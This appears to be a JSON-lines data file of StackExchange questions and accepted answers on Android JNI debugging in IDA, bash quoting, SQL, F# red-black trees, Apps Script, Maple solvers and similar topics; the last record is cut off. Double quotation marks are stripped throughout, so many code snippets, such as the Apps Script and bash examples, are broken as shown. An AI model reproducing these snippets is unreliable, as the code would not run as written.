{  "id": "_reverseengineering.1965"  , "question": "I have an android application that uses a shared library which I would like to step through with a debugger.  I've had success using IDA 6.3 to debug executables with the android_server debug server included with IDA but haven't gotten it to work with shared objects yet.  For a specific example, suppose I have the following Java code (This comes from the hellojni example in the Android NDK):System.loadLibrary(hello-jni);tv.setText( stringFromJNI() );With the JNI C code as:jstringJava_com_example_hellojni_HelloJni_stringFromJNI( JNIEnv* env, jobject thiz ){        return (*env)->NewStringUTF(env, Hello from JNI !);}If the java code is run only when the application starts up, how can I break in the function Java_com_example_hellojni_HelloJni_stringFromJNI?"  , "title": "How to break on an Android JNI function with IDA Pro Debugger"  , "tags": "ida;android"  , "accepted_answer": "There are two options I can see.Start the Dalvik VM manually using app_process. The command line seems to be something like (see am script source):app_process /system/bin com.android.commands.am.Am start -a <ACTION>Put an endless loop in the beginning of your JNI method, run the app, attach to the new process and skip the loop manually in the debugger."  } 
{  "id": "_softwareengineering.279174"  , "question": "Scenario: I have a web application that records and checks data against two temp tables (1 table being a temp source and the other being a destination for the application). These temp tables are synced up each night with their respective destination/source sql views. The Issue:The source/destination views have char/nvarchar data types however the actual content inside these views are mostly integers. How should I construct my model for the temp tables within the application; should I convert the data to their real types (converting the types during sync time) or just keep them in the form of strings?Important:There is no validation needed for the types, it will be impossible for the user to enter invalid data. The true data types of the content will hold constant for each column with no accidental variation. So the question comes down to, is there anything wrong with processing integers as strings? Other than it being annoying as hell. "  , "title": "To convert to accurate data types or maintain default type of string"  , "tags": "c#;sql server;data types"  , "accepted_answer": "Store them in the database as the respective data types.  Instead of storing 1234 as a string, store the int 1234.This does a couple of things for you.  It prevents data consumers from having to do the conversion and possible mistakes (not only will this prevent mistakes, but it'll maximize performance for the data consumers.  Convert the data before it is dumped into the table so it doesn't have to be continuously converted upon retrieval)It will allow bad data to fail fast and fail early, as you wouldn't be able to put bad data in the source table (i.e. on an int column, if you didn't expect bad data but attempted to throw 123a4 in there it would fail.  That's a good thing)Store the data as it is expected.  It will alleviate a lot of complications."  } 
{  "id": "_cstheory.22354"  , "question": "From the common sense point of view, it is easy to believe that adding non-determinism to $\\mathsf{P}$ significantly extends its power, i.e., $\\mathsf{NP}$ is much larger than  $\\mathsf{P}$. After all, non-determinism allows exponential parallelism, which undoubtedly appears very powerful.  On the other hand, if we just add non-uniformity to $\\mathsf{P}$, obtaining  $\\mathsf{P}/poly$, then the intuition  is less clear (assuming we exclude non-recursive languages that could occur in $\\mathsf{P}/poly$). One could expect that merely allowing different polynomial time algorithms for different input lengths (but not leaving the recursive realm) is a less powerful extension than the exponential parallelism in non-determinism. Interestingly, however, if we compare these classes with the very large class $\\mathsf{NEXP}$, then we see the following counter-intuitive situation. We know that $\\mathsf{NEXP}$ properly contains $\\mathsf{NP}$, which is not surprising. (After all, $\\mathsf{NEXP}$ allows doubly exponential parallelism.) On the other hand, currently we cannot rule out $\\mathsf{NEXP}\\subseteq \\mathsf{P}/poly$. Thus, in this sense, non-uniformity, when added to polynomial time,  possibly makes it extremely powerful, potentially more powerful than non-determinism. It might even go as far as to simulate doubly exponential parallelism! Even though we believe this is not the case, but the fact that currently it  cannot be ruled it out still suggests that complexity theorists  are struggling with mighty powers here.How would you explain to an intelligent layman what is behind this  unreasonable power of non-uniformity? "  , "title": "The unreasonable power of non-uniformity"  , "tags": "cc.complexity theory;complexity classes;big picture"  } 
{  "id": "_datascience.949"  , "question": "I am facing this bizarre issue while using Apache Pig rank utility. I am executing the following code:email_id_ranked = rank email_id;store email_id_ranked into '/tmp/';So, basically I am trying to get the following result1,email12,email23,email3... Issue is sometime pig dumps the above result but sometimes it dumps only the emails without the rank. Also when I dump the data on screen using dump function pig returns both the columns. I don't know where the issue is. Kindly advice.Please let me know if you need any more information. Thanks in advance.Pig version: Apache Pig version 0.11.0-cdh4.6.0"  , "title": "Pig Rank function not generating rank in output"  , "tags": "bigdata;apache hadoop;apache pig"  } 
{  "id": "_softwareengineering.104582"  , "question": "I need to determine the ranking of values in an array without altering their position, so that I can print the position of each split time next to the actual value of the split time in a table like so.<table><tr>  <th>Split 1</th>  <th>Split 2</th>  <th>Split 3</th></tr><tr>  <td>4.66 (1)</td>  <td>5.12 (3)</td>  <td>4.75 (2)</td></tr></table>My array = [4.66, 5.12, 4.75] and I need to iterate through it and print the rank rank as seen in parenthesis above. I can't sort, because I need to do this for several decimals in the html table. Any suggestions for implementing this algorithm?"  , "title": "Algorithm design for comparing split times in a race"  , "tags": "algorithms;array"  , "accepted_answer": "Use quicksort (or the sorting algorithm of your choice) to sort a list of array indexes according to the corresponding split times. The array of indexes is a proxy for the array of split times. We don't want to change the order of the times, but we want to know what the order of the times would be if we sorted it.Given split time array: splits[] = {4.2, 3.9, 4.1, 3.8, 3.7}We start with an array of indices: indexes[] = {0, 1, 2, 3, 4}Now we sort indexes array using the values from splits. Any sorting algorithm needs a comparison function, and ours is:compare(i, j) := if splits[i] < splits[j], i is smaller,                 else if splits[i] > splits[j], i is larger,                 else they're equalSo, for example, compare(0, 1) should return i > j because 4.2 > 3.9.Following is some C code that illustrates the solution using fairly little code. It relies on the qsort_r() C standard library function, which is a version of quicksort, but you could use any sorting algorithm. An important implementation detail is that the qsort_r() routine lets us pass an extra parameter that's provided to the comparison function; this lets us pass the splits array to the comparison function.void sortSplits(float splits[], int index[], int count){    // initialize the index array    for (int i = 0; i < count; i++) {        index[i] = i;    }    qsort_r(index, count, sizeof(int), splits, compareSplits);}int compareSplits(void *thunk, const void *item1, const void *item2){    float *splits = (float*)thunk;    int i = *(int*)item1;    int j = *(int*)item2;    if (splits[i] < splits[j])        return -1; // less than    else if (splits[i] > splits[j])        return 1;  // greater than    else        return 0;  // equal}To use this code, call sortSplits() passing in the array of split times, an array of ints that's at least as long as the array of times, and the number of times. On return, the index array will contain the sorted list of indexes. In other words, if the resulting array looks like:{3, 0, 1, 2}it means that the split time at index 3 is the smallest, followed by the time at index 0, followed by the time at index 1, followed by the time at index 2.The indexes here really work like pointers. You could even say that they ARE pointers in a sense. Indeed, you could implement exactly the same algorithm described above using an array of pointers in place of the array of indexes That would eliminate the need for passing the splits array as a separate parameter."  } 
{  "id": "_reverseengineering.2907"  , "question": "Original question asked on Stackoverflow: Can the 'r' be removed from a function stack ?I am trying to modify the processor for the Fujitsu FR, and IDA by default inserts the return variable r on each stack, but the Fujitsu FR processor does not put r as the first item, so this stuffs up the stack.What I can't workout is: in the processor plugin, what needs overriding to resolve this, or if any of the example processors have solutions to copy. "  , "title": "Can the 'r' be removed from a function stack"  , "tags": "ida"  , "accepted_answer": "for completeness, implementing get_frame_retsize [int (*get_frame_retsize(func_t *pfn)] in your processor_t LPH is the solution to this.in that function for my processor I needed to return zero instead of the default of 4."  } 
{  "id": "_unix.8524"  , "question": "I need a very simple script which does this:mogrify -resize $1x$2^ -gravity center -crop $1x$2+0+0 $3so that I can call it in this way:cropresize.sh 110 110 *.pngthe problem is that the shell expands the *.png pattern instead of passing it as it is to the script.How can I achieve this (script, alias or any other equivalent solution is fine)?"  , "title": "How do I prevent expansion when I use a pattern as argument to a script?"  , "tags": "bash;scripting"  , "accepted_answer": "Since the shell performs glob expansion before the arguments are handed over to the command, there's no way I can think of to do it transparently: it's either controlled by the user (quote the parameter) or brute-force (disable globbing completely for your shell with set -o noglob).You're looking at the problem from the wrong end. Change your script to accept multiple filename arguments:x=$1y=$2shift 2mogrify -resize ${x}x${y}^ -gravity center -crop ${x}x${y}+0+0 $@"  } 
{  "id": "_webmaster.1130"  , "question": "The accepted answer to this question states that Adsense functions rather poorly. What is the alternative then?My site has about 400 daily visitors, 1.5 pages/visit - so I'm too small to manually approach any sponsor for an personal ad deal. What AdSense would work best?By 'best' I mostly mean make the most money, although usability is also a factor."  , "title": "Best alternative to Adsense for a small website?"  , "tags": "google adsense"  , "accepted_answer": "There are many alternatives. The best way to find an advertiser is to look at a competitor's website and see who places ads with them. Find out if they use an ad network that is positioned to the same market as yours.Also, you don't have to get a big name advertiser to place ads with you. Do a quick search on Google and see who is advertising there.Chances are if they advertise on Google they may place ads with you too. You can really pitch something like that; as long as your content is much more focused on a niche. Give them a call, you have nothing to lose.Finally, if your posting about a product you might be able to find an affiliate program for it. Do some research and see if you can find any good deals. Amazon if a good place to start. "  } 
{  "id": "_unix.89964"  , "question": "I've installed Skype by using dkpg and when I try to run it, this is what I get -bash: /usr/bin/skype: No such file or directory. Which is very strange since ls -l | grep skype shows this:-rwxr-xr-x 1 root   root    30717480 May  7 01:43 skypeI had similiar problems when I installed FireFox, but since I didn't need it all that much, didn't care. However, I do need Skype on Linux.Output of my $PATH variable:/home/max/.rvm/gems/ruby-2.0.0-p247/bin:/home/max/.rvm/gems/ruby-2.0.0-p247@global/bin:/home/max/.rvm/rubies/ruby-2.0.0-p247/bin:/home/max/.rvm/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/gamesAnyone care to explain?... Because I'm stunned."  , "title": "Debian Wheezy 7.1 - can't launch Skype or Firefox"  , "tags": "bash;path;debian"  , "accepted_answer": "It seems that this is the perennial 32-bit application on a 64-bit system issue.Does the following help?[root@host]# dpkg --add-architecture i386[root@host]# apt-get update #Will take a while[root@host]# apt-get install ia32-libs #Will download and install ~100-200 MB of data[user@host]$ skype&"  } 
{  "id": "_unix.211173"  , "question": "So I want to add 10 seconds to a time. The command to do that came from here. To illustrate:STARTIME=$(date +%T)ENDTIME=$STARTIME today + 10 secondsCALL=$(echo date -d $ENDTIME +'%H:%M:%S')The problem that I have with this code is that if I echo the $CALL variable, it gives:date -d 12:51:19 today + 10 seconds +%H:%M:%SThe correct version of this string would look like:date -d 12:48:03 today + 10 seconds +'%H:%M:%S'But if I wrap the variable name in quotes, like so: STARTIME=$(date +%T)ENDTIME=$STARTIME today + 10 secondsCALL=$(echo date -d '$ENDTIME' +'%H:%M:%S')...it's interpreted as a string literal, and if you echo it, it gives:date -d $ENDTIME +%H:%M:%SSo what I need to do is call the variable such that it's value is swapped into the function and wrapped with double-quotes(), but avoid the name of the variable being read as a literal string. I'm extremely confused with this, I miss Python!"  , "title": "In bash, how to call a variable and wrap quotes around its value as part of a command without causing the variable name to become a string literal?"  , "tags": "bash;shell script;quoting;date"  , "accepted_answer": "Just for completeness, you dont need all those () nor the final $(echo ...).Here's the simplified version of your assignments that produce the sameeffect:STARTIME=$(date +%T)ENDTIME=$STARTIME today + 10 secondsCALL=date -d '$ENDTIME' +'%H:%M:%S'Note how you dont need to quote when doing var=$(...) but you do usuallywith var=many words:a=$(echo 'a    b'); echo $a # result: a    bInside () a (') has no special significance, and vice-versa, eg:a=that's nice; echo $a # result: that's nicea='that is nice'; echo $a # result: that is nice"  } 
{  "id": "_softwareengineering.328686"  , "question": "I am trying to implement a tree data structure that callers of my code edit for me to operate on. The idea is that the caller can hold a reference to nodes from the tree and modify their data (both attributes and children), which triggers an event that prompts my code to update a visual render of the tree.The problem that I have is that each node also needs to hold some private data (a reference to the corresponding visual element) which I don't want to have polluting the public interface of the node object. The private data needs to be accessible by the main class that is handling the tree object.I could decide to just stick the private data onto my public interface like this:class Node{    public int NodeData;    public List<Node> ChildNodes;    public object PrivateVisualizationData;}class TreeControl{    public Node RootNode;    // Use PrivateVisualizationData fields on node objects}However, this presents two problems as I see it:Any consumers of Node will see the PrivateVisualizationData field, which could be confusingExternal code could modify my private data, breaking code that needs itHow could I design this structure so that each node has custom data associated with it, but the data isn't accessible externally? I would like to avoid the management cost of a separate lookup table if possible, but that may be what I end up doing."  , "title": "Implementing a publicly-editable tree where each node must hold private implementation data"  , "tags": "object oriented design;access control"  , "accepted_answer": "You could try something like this:    class Node    {        public int NodeData;        public List<Node> ChildNodes;    }    class TreeControlNode extends Node    {        public object PrivateVisualizationData;    }    class TreeControl    {        private TreeControlNode RootNode;        public Node GetRootNode()        {            return (Node)RootNode;        }        // Use PrivateVisualizationData fields on node objects    }Inheriting from the Node class allows you to use all of the members and methods of Node while still adding your special data. By returning your RootNode as the Node class the user should only us the Node members and methods."  } 
{  "id": "_codereview.3448"  , "question": "Yes I'm very slowly making my way through Purely Functional Data Structures. So I went through the section on Red Black Trees. What he presents is amazingly concise, except for the fact that he didn't include the delete function. Searching around didn't turn up many functional delete methods, well only two so far. One in Haskell the other in Racket (a version of Scheme I think). The Haskell code seemed rather impenetrable to me so I went with trying to grok the Racket version from Matt Might. My scheme experience is pretty rusty, but my Haskell knowledge is nill.The code below is what I came up with. You can see the complete implementation of RedBlackTree.fs here. I'm sure that there are still problems in this implementation since I haven't fully tested it yet. My main question for the more experienced guys is does what Matt has laid out here really make sense? And do you think the way I've tried to implement this in F# is going to work?If you read Matt's blog you'll see a description of how he is approaching the problem. He adds two new colors (double black and negative black) to the tree temporarily during the delete. He also has this notion of a double black leaf, and that is where my main point of confusion lies. After a delete a double black leaf is sometimes left behind (when the element being deleted has no children). So it appears that the double black leaf isn't temporary. It's not clear to me based on his description if this is what was intended or I still have some problem in my logic.Thanks for taking a look at this,Derek// BB = double-black// NB = negative-blacktype Color = R | B | BB | NBtype Tree<'e when 'e :> IComparable> =    | L | BBL               // BBL = double-black leaf    | T of Color * Tree<'e> * 'e * Tree<'e>module RedBlackTree =    let empty = L...let addBlack c =    match c with    | B -> BB    | R -> B    | NB -> R    | BB -> failwith BB Nodes should only be temporarylet subBlack c =    match c with    | B -> R    | R -> NB    | BB -> B    | NB -> failwith NB Nodes should only be temporarylet redden n =    match n with    | L | BBL -> n    | T(_,l,v,r) -> T(R,l,v,r)let blacken node =    match node with    | BBL        -> L    | T(_,l,v,r) -> T(B,l,v,r)    | _          -> nodelet rec balanceNode clr tl e tr =    match clr, tl, e, tr with    | BB,T(R, T(R,a,x,b),y,c), z, d     | BB,T(R,a,x, T(R,b,y,c)), z, d     | BB,a,x, T(R, T(R,b,y,c),z,d)      | BB,a,x, T(R,b,y, T(R,c,z,d))     | B,T(R, T(R,a,x,b),y,c), z, d     | B,T(R,a,x, T(R,b,y,c)), z, d     | B,a,x, T(R, T(R,b,y,c),z,d)      | B,a,x, T(R,b,y, T(R,c,z,d))  ->         T((subBlack clr), T(B,a,x,b), y, T(B,c,z,d))    | BB,a,x,T(NB,T(B,b,y,c),z,(T(B,_,_,_) as d)) ->        T(B,T(B,a,x,b),y, balanceNode B c z (redden d))    | BB,T(NB,(T(B,_,_,_) as a),x,T(B,b,y,c)),z,d ->        T(B, (balanceNode B (redden a) x b), y, T(B,c,z,d))    | _,_,_,_ -> T(clr,tl,e,tr)let bubble t =    match t with    | T(c,(T(lc,ll,lv,lr) as lt),v, (T(rc,rl,rv,rr) as rt)) ->        if lc = BB || rc = BB then            balanceNode (addBlack c) (T(subBlack lc,ll,lv,lr)) v (T(subBlack rc,rl,rv,rr))        else            t    | _ -> tlet isLeaf node =    match node with    | L | BBL -> true    | _       -> falselet rec getMax node =    match node with    | L | BBL -> None    | T(c,l,v,r) ->         match (isLeaf l), (isLeaf r) with        | false, true        | true,true -> Some(v)        | _,_       -> getMax rlet rec remove node =    match node with    | L | BBL -> node    | T(nc, lchild, nv, rchild) ->        match (isLeaf lchild),(isLeaf rchild) with        | true,true ->            match nc with            | R -> L            | B -> BBL            | _ -> failwith Illegal black node        | true,false ->            match nc,rchild with            | R,T(rc,rl,rv,rr) -> rchild            | B,T(rc,rl,rv,rr)->                 match rc with                | R -> T(B,rl,rv,rr)                | B -> T(addBlack rc,rl,rv,rr)                | _ -> failwith Illegal black node            | _ -> failwith Illegal black node        | false,true ->            match nc,lchild with            | R,T(lc,ll,lv,lr) -> lchild            | B,T(lc,ll,lv,lr) ->                 match lc with                | R -> T(B,ll,lv,lr)                | B -> T(addBlack lc,ll,lv,lr)                | _ -> failwith Illegal black node            | _ -> failwith Illegal black node        | false,false ->            let max = (getMax lchild).Value            let t = removeMax lchild            bubble (T(nc,t,max,rchild))and removeMax node =    match node with    | T(c,l,v,r) ->         if isLeaf r then            remove node        else            bubble (T(c,l,v, removeMax r))    | _ -> nodelet delete key node =    let rec del (key : IComparable) node =        match node with        | T(c,l,v,r) ->            match key.CompareTo v with            | -1 -> bubble (T(c,(del key l),v,r))            |  0 -> remove node            |  _ -> bubble (T(c,l,v,(del key r)))        | _ -> node    blacken (del key node)"  , "title": "Deleting from Red Black Tree in F#"  , "tags": "f#;functional programming"  } 
{  "id": "_webapps.108935"  , "question": "I am working with this script: /**  * Automatically sorts the 1st column (not the header row) Ascending.  */ function onEdit(event){   var sheet = event.source.getActiveSheet();   var editedCell = sheet.getActiveCell();   var columnToSortBy = 3;   var tableRange = A2:T99; // What to sort.   if(editedCell.getColumn() == columnToSortBy){        var range = sheet.getRange(tableRange);     range.sort( { column : columnToSortBy, ascending: true } );   }I need it to only run on Sheet 2, Sheet 3, Sheet 4, and not all sheet in the workbook. I tried doing several variation of getsheets that didn't work."  , "title": "Script to work on certain sheetname.... .getSheetByName('Sheet 1'); didn't work. for multiple sheets"  , "tags": "google spreadsheets;google apps script"  , "accepted_answer": "The name of the current sheet is obtained by sheet.getSheetName(). You want to make sure that this name is one of Sheet 2, Sheet 3, Sheet 4. A concise way to express this condition is to have an array sheetList with the names that need to be sorted, and check whether the name of the active sheet is on the list. The method indexOf does this check: it returns -1 if the name is not on the list. function onEdit(event) {  var sheetList = [Sheet 2, Sheet 3, Sheet 4];  var sheet = event.source.getActiveSheet();  if (sheetList.indexOf(sheet.getSheetName()) != -1) {    var editedCell = sheet.getActiveCell();    var columnToSortBy = 3;       var tableRange = A2:T99;          if (editedCell.getColumn() == columnToSortBy) {         var range = sheet.getRange(tableRange);      range.sort( { column : columnToSortBy, ascending: true } );    }  }}"  } 
{  "id": "_unix.16623"  , "question": "How can I set file to be executable only to other users but not readable/writable, the reason for this I'm executing something with my username but I don't want to give out the password. I tried :chmod 777 testfilechmod a=xchmod ugo+xI still get permission denied when executing as another user."  , "title": "File permission execute only"  , "tags": "linux;security;permissions;executable"  , "accepted_answer": "You need both read and execute permissions on a script to be able to execute it.  If you can't read the contents of the script, you aren't able to execute it either.tony@matrix:~$ ./hello.worldhello worldtony@matrix:~$ ls -l hello.world-rwxr-xr-x 1 tony tony 17 Jul 13 22:22 hello.worldtony@matrix:~$ chmod 100 hello.worldtony@matrix:~$ ls -l hello.world---x------ 1 tony tony 17 Jul 13 22:22 hello.worldtony@matrix:~$ ./hello.worldbash: ./hello.world: Permission denied"  } 
{  "id": "_unix.260211"  , "question": "I have been a Debian user since several years but now would like to try openSUSE as well in a dual boot environment. Here are some thoughts:Two root partitions.To avoid the two installations from stepping on each other I am thinking of keeping two root partitions of 50 GB each.Two home partitions, again about 50 GB each. Since application releases from the two distros are going to be different (KDE 4 versus 5) it makes sense to have separate home directories. I don't know if all applications from the two distros are compatible with one another. I would like to be cautious than sorry.One big user data partition. My concern is more around user data, which in a single boot setup resides in the /home directory. It seems eminent that a separate partition has to be created. However, it would be convenient if my personal data that is not affected by KDE release continues to remains accessible from /home. Say the mount-point for the data partition is /mnt/data, then I would create symlinks like my-docs in both the home directories. This scheme has the obvious problem of creating a symlink every time I wanted to work in a new directory in the /home directory.Any ideas from the good folks here will be appreciated.EDIT: The other issue clearly does not answer the question here. There are plenty of resources available on how-to-partition and how-to-dual boot. The query here is on the partitioning scheme (number of partitions, their size, role) given some specific ideas. The quick marking as duplicate is giving an impression that the question has not been properly read."  , "title": "What is a suitable dual boot partitioning scheme (Debian and openSUSE Leap)"  , "tags": "debian;partition;opensuse"  } 
{  "id": "_scicomp.1692"  , "question": "I've got a system of ordinary differential equations - 7 equations, and ~30 parameters governing their behavior as part of a mathematical model of disease transmission. I'd like to find the steady states for those equations Changing dx/dt = rest of the equation to 0 = equation for each of the equations makes it a straightforward algebra problem. This could be done by hand, but I'm ridiculously bad at that kind of computation.I've tried using Mathematica, which can handle smaller versions of this problem (see here), but Mathematica is grinding to a halt on this problem. Is there a more efficient/effective way to approach this? A more efficient symbolic math system? Other suggestions?A few updates (March 21st):The goal is indeed to solve them symbolically - the numerical answers are nice but for the moment the end-goal is the symbolic version.There is at least one equilibrium. I haven't actually sat down and proved this, but by design it should have at least one trivial one wherein none is infected at the start. There may not be anything besides that, but that would make me as content as anything else.Below is the actual set of equations being talked about.In summary, I'm looking for symbolic expressions for the solutions of a system of 7 quadratic equations in 7 variables."  , "title": "Symbolic solution of a system of 7 nonlinear equations"  , "tags": "ode;symbolic computation;epidemiology"  , "accepted_answer": "It looks like the equations you're dealing with are all polynomial after clearing denominators. That's a good thing (transcendental functions are often a little harder to deal with algebraically). However, it's not a guarantee that your equations have a closed-form solution. This is an essential point that many people don't really get, even if they know it in theory, so it bears restating: there are fairly simple systems of polynomial equations for which there is no way of giving the solutions in terms of ($n$th) roots etc. A famous example (in one variable) is $x^5-x+1=0$. See also this wikipedia page.Having said that, of course there are also systems of equations that can be solved, and it's worthwhile to check if your system is one of those. And even if your system cannot be solved, it might still be possible to find a form for your system of equations that is simpler, in some sense. For example, find one equation involving only the first variable (even if it cannot be solved algebraically), then a second equation involving only the first and second variable, etc. There are a few competing theories for how to find such normal forms of polynomial systems; the most well-known is Groebner basis theory, and a competing one is the theory of regular chains.In the computer algebra system Maple (full disclosure: I work for them) both of them are implemented. The solve command typically calls the Groebner basis method, I believe, and that quickly grinds to a halt on my laptop. I tried running the regular chains computation and it takes longer than I have patience for but doesn't seem to blow up as badly memory-wise. In case you're interested, the help page for the command I used is here, and here is the code I used:restart;sys, vars := {theta*H - rho_p*sigma_p*       Cp*(Us/N) - rho_d*sigma_d*D*(Us/N)*rho_a*sigma_a*       Ca*(Us/N) = 0,          rho_p*sigma_p*Cp*(Us/N) + rho_d*sigma_d*       D*(Us/N)*rho_a*sigma_a*Ca*(Us/N) + theta*H = 0,          (1/omega)*Ua - alpha*Up - rho_p*psi_p*       Up*(H/N) - Mu_p*sigma_p*Up*(Cp/N) -              Mu_a*sigma_a*Up*(Ca/N) - Theta_p*       Up + Nu_up*(Theta_*M + Zeta_*D) = 0,          alpha*Up - (1/omega)*Ua - rho_a*psi_a*       Ua*(H/N) - Mu_p*sigma_p*Ua*(Cp/N) -              Mu_a*sigma_a*Ua*(Ca/N) - Theta_a*       Ua + Nu_ua*(Theta_*M + Zeta_*D) = 0,          (1/omega)*Ca + Gamma_*Phi_*D + rho_p*psi_p*       Up*(H/N) + Mu_p*sigma_p*Up*(Cp/N) +              Mu_a*sigma_a*Up*(Ca/N) - alpha*Cp - Kappa_*       Cp - Theta_p*Cp + Nu_cp*(Theta_*M + Zeta_*D) = 0,          alpha*Cp + Gamma_*(1 - Phi_)*D + rho_a*psi_a*       Ua*(H/N) + Mu_p*sigma_p*Ua*(Cp/N) +              Mu_a*sigma_a*Ua*(Ca/N) - (1/omega)*       Ca - Kappa_*Tau_*Ca - Theta_a*Ca +              Nu_ca*(Theta_*M + Zeta_*D) =      0, Kappa_*Cp + Kappa_*Tau_*Ca - Gamma_*Phi_*       D - Gamma_*(1 - Phi_)*D -              Zeta_*D + Nu_d*(Theta_*M + Zeta_*D) = 0,     Us + H + Up + Ua + Cp + Ca + D = 0,          Up + Ua + Cp + Ca + D = 0}, {Us, H, Up, Ua, Cp, Ca, D, N,     M}:sys := subs(D = DD, sys):vars := subs(D = DD, vars):params := indets(sys, name) minus vars:ineqs := [theta > 0 , rho_p > 0 , sigma_p >        0 , rho_d > 0 , sigma_d > 0 ,             rho_a > 0 , sigma_a > 0 ,       omega > 0 , alpha > 0 , psi_p > 0 , Mu_p > 0 ,             Mu_a > 0 , Theta_p > 0 , Nu_up > 0 , Theta_ >        0 , Zeta_ > 0 , psi_a > 0 ,             Theta_a > 0 , Nu_ua > 0 , Gamma_ > 0 , Phi_ >        0 , Kappa_ > 0 , Nu_cp > 0 ,             Tau_ > 0 , Nu_ca > 0]:with(RegularChains):R := PolynomialRing([vars[], params[]]):sys2 := map(numer, map(lhs - rhs, normal([sys[]]))):sol := LazyRealTriangularize(sys2,[],map(rhs, ineqs),[],R);"  } 
{  "id": "_codereview.72155"  , "question": "I need to cut down the run time of this query. Currently it's taking 45 minutes. Is there something I can change in the table or the query to allow this to run faster?SELECT SUM(B.PRICE),C.ST_FILEFROM    TAD1D.ST_EUCM AS B,    TAD1D.ST_DSA_TRAN  AS C,    TAD1A.TIBHLD TWHERE C.ST_TRAN_FILE=B.ST_TRAN_FILE    AND C.ST_IND='Y'     AND C.ST_SRC_SYS_CD='HANN'    AND C.ST_TBL_NAME='ST_EUCM'    AND B.PARTNUMB=T.ACCT_NUM    AND B.FVSRVCCODE=T.SRV_CDGROUP BY C.ST_FILEEXCEPTSELECT sum(A.ACCUM_C),D.ST_FILE from                    TAD1A.TIBHLD_DLY_VAL A,                    TAD1D.ST_DSA_TRAN  AS D            where A.SRC_SYS_CD = 'HANN'                    AND D.ST_SRC_SYS_CD=A.SRC_SYS_CD                    AND D.ST_TBL_NAME='ST_EUCM'                    AND DATE(A.HLD_VAL_DT)=DATE(D.ST_FILE)                    GROUP BY D.ST_FILE                    WITH UR --There are no indexes on either table. Please provide a tip/solution in the event i am able to change the table structure or add an index (I may not)."  , "title": "Summing the prices from Transaction files"  , "tags": "sql;database;db2"  , "accepted_answer": "NitpicksThere is a slight amount of inconsistency in your capitalization of keywords. SUM() / sum() and WHERE / where. Otherwise, it's pretty consistent throughout!AliasesYou use the following aliases: B C T. There is no meaning or explanation of what those mean. You should use meaningful aliases, especially where your table names don't really help, such as in your case. Old-style JOINThis:FROM    TAD1D.ST_EUCM AS B,    TAD1D.ST_DSA_TRAN  AS C,    TAD1A.TIBHLD TWHERE C.ST_TRAN_FILE=B.ST_TRAN_FILE    AND C.ST_IND='Y'     AND C.ST_SRC_SYS_CD='HANN'    AND C.ST_TBL_NAME='ST_EUCM'    AND B.PARTNUMB=T.ACCT_NUM    AND B.FVSRVCCODE=T.SRV_CD...is deprecated pre-ANSI-92 syntax. It should not be used, rather you should favor explicit JOIN syntax, like such:FROM    TAD1D.ST_EUCM AS BINNER JOIN     TAD1D.ST_DSA_TRAN  AS C    ON C.ST_TRAN_FILE = B.ST_TRAN_FILEINNER JOIN     TAD1A.TIBHLD T    ON B.PARTNUMB = T.ACCT_NUM    AND B.FVSRVCCODE = T.SRV_CDWHERE    AND C.ST_IND = 'Y'     AND C.ST_SRC_SYS_CD = 'HANN'    AND C.ST_TBL_NAME = 'ST_EUCM'Notice I added spaces around your = operators as it makes the code easier to read. You would also want to use similar JOIN syntax in your subquery. IndexesYou stated:There are no indexes on either table. Please provide a tip/solution in the event i am able to change the table structure or add an index (I may not).And to that, I say resoundingly: YES! Add indexes!But make sure even before you do that, look carefully at your query execution plan and look at where the most expensive steps are. That should give you a clue as to what is happening. I suspect there are a few nasty nested loops in there that are bogging it down, and depending on your RDBMS there are some optimizations available, and there may be ways to change the execution manually. "  } 
{  "id": "_scicomp.8573"  , "question": "While reading many research-papers comparing parallel implementations of algorithms on different machines/architectures, I have noticed that the performance comparison is always listed in terms of GFlop/s and not the actual wall-clock time for the run in seconds. I am curious why this convention is used. My only guess is that since every company  advertises its device as having a certain peak flop-counts/second such research papers investigate how much of its potentialhas been achieved by listing the performance as GFlop/s for the particular application at hand. Is this correct?Also, say the performance of a $m$ x $n$ Matrix -- $n$ x $1$ Vector multiply has been stated as 4 GFlop/s. Is it reasonable to obtain the wall clock time in seconds by the following formula?$$\\frac{m(2n-1)}{4 * 10^9} \\hspace{3mm} \\text{seconds}$$ where $m(2n-1)$ is the number of floating point operations for the matrix-vector multiplication"  , "title": "Why performance is given in Gflop/s rather than actual time in seconds"  , "tags": "parallel computing;performance"  } 
{  "id": "_cogsci.5290"  , "question": "Human behavior towards other living beings can be classified into three categories:altruistic: actively caring for the well-being of otherscruel: deliberately inflicting pain and sufferingneutral: not affecting the life and well-being of othersYou cannot always care for the well-being of everyone around you. Therefore active altruism cannot be a general guiding principle of behavior. But you can always chose not to be actively cruel. Lacking a better name, I will call this type of behavior, which includes both altruistic and neutral behavor, non-cruel, as suggested by Nick Stauner.What I would like to know is if there are predictors that differentiate between habitually cruel persons and those that are usually either actively altruistic or at least show a passive lack of deliberate cruelty and knowing acquiescence of suffering?Which personality traits are responsible for habitually non-cruel behavior?Notes:I am interested in traits in the traditional sense (patterns of behavior, thought, and emotion) as well as neural correlates of non-cruelty."  , "title": "Which personality traits cause non-cruelty?"  , "tags": "personality;altruism;aggression"  } 
{  "id": "_cs.28433"  , "question": "In particular POS tagging, dependency and constituent parsing. This is not really my field of study but I would really like to be able to make informed claims on what precisions current top systems achieve (and what top systems for each task are). This paper of a (high quality) system (http://arxiv.org/abs/1103.0398) we have used in experiements uses benchmarks from 2000, 2003 and 2005. But I don't know if more recent systems have outperformed those or new benchmark tasks exists. "  , "title": "What are recent, high-quality surveys on NLP topics?"  , "tags": "reference request;natural language processing"  } 
{  "id": "_datascience.16985"  , "question": "From https://github.com/google/deepdream/blob/master/dream.ipynbdef objective_L2(dst):          # Our training objective. Google has since release a way to load    dst.diff[:] = dst.data      # arbitrary objectives from other images. We'll go into this later.def make_step(net, step_size=1.5, end='inception_4c/output',               jitter=32, clip=True, objective=objective_L2):    '''Basic gradient ascent step.'''    src = net.blobs['data'] # input image is stored in Net's 'data' blob    dst = net.blobs[end]    ox, oy = np.random.randint(-jitter, jitter+1, 2)    src.data[0] = np.roll(np.roll(src.data[0], ox, -1), oy, -2) # apply jitter shift    net.forward(end=end)    objective(dst)  # specify the optimization objective    net.backward(start=end)    g = src.diff[0]    # apply normalized ascent step to the input image    src.data[:] += step_size/np.abs(g).mean() * g    src.data[0] = np.roll(np.roll(src.data[0], -ox, -1), -oy, -2) # unshift image    if clip:        bias = net.transformer.mean['data']        src.data[:] = np.clip(src.data, -bias, 255-bias)If I understand what is going on correctly, the input image in net.blobs['data'] is inserted into the NN until the layer end. 